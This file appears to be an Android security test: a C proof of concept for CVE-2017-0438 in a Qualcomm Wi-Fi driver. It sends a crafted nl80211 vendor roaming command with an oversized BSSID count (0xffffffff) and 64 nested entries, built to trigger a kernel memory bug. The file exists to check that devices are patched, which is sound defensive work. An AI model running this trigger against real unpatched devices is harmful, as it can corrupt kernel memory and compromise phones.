hostsidetests/security/securityPatch/CVE-2017-0438/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <jni.h>
#include <android/log.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/types.h>          /* See NOTES */
#include <netlink/msg.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <linux/nl80211.h>

#define MAX_MSG_SIZE 4096
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))

#define NL80211_ATTR_MAC 6
#define ETH_ALEN 6
#define NL80211_ATTR_IFINDEX 3
#define QCA_NL80211_VENDOR_ID 0x001374

#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BLACKLIST_BSSID 6
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS 18
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID 19
#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID 20
typedef char tSirMacAddr[6];
struct nl_sock *nl_sk;
int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version);
int test(void);

int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version) {
  struct nl_msg *msg;
  int ret = -1;
  unsigned char dst[ETH_ALEN];
  struct nlattr *rret;
  struct nlattr *rret2;
  struct nlattr *rret3;
  unsigned char oper_classes[253];
  int i = 0;
  tSirMacAddr mac_in;
  unsigned char hb_params[512];

  struct nl80211_sta_flag_update flags;
  msg = nlmsg_alloc();
  int if_index = if_nametoindex("wlan0");

  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);

  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);

  if (!rret) {
    return 1;
  }
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
              QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BLACKLIST_BSSID);

  nla_put_u32(msg,
              QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID,
              0xffffffff);

  rret2 =
      nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS);
  if (!rret2) {
    return 1;
  }

  for (i = 0; i < 64; ++i) {
    rret3 = nla_nest_start(msg,
                           QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS);
    if (!rret3) {
      return 1;
    }
    nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID,
            sizeof(mac_in), &mac_in);
    nla_nest_end(msg, rret3);
  }

  nla_nest_end(msg, rret2);
  nla_nest_end(msg, rret);

  ret = nl_send_auto_complete(nl_sk, msg);

  return 0;
}

#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005

int test() {
  int fd = 0;
  int i = 0;
  int j = 0;
  int ret = 0;
  char *mem;
  int family_id = 0;
  struct audio_cal_basic *acb;
  struct sockaddr_nl saddr;
  int test = 0x1234;
  if (getuid() != 0) {
    return -1;
  }

  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);

  setuid(2000);

  nl_sk = nl_socket_alloc();
  ret = genl_connect(nl_sk);
  if (ret != 0) {
    perror("genl_connect");
    return -1;
  }

  family_id = genl_ctrl_resolve(nl_sk, "nl80211");

#define NL80211_CMD_GET_WIPHY 1
#define NL80211_CMD_SET_STATION 18

  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
  return 0;
}

int main(int argc, char *argv[]) { return test(); }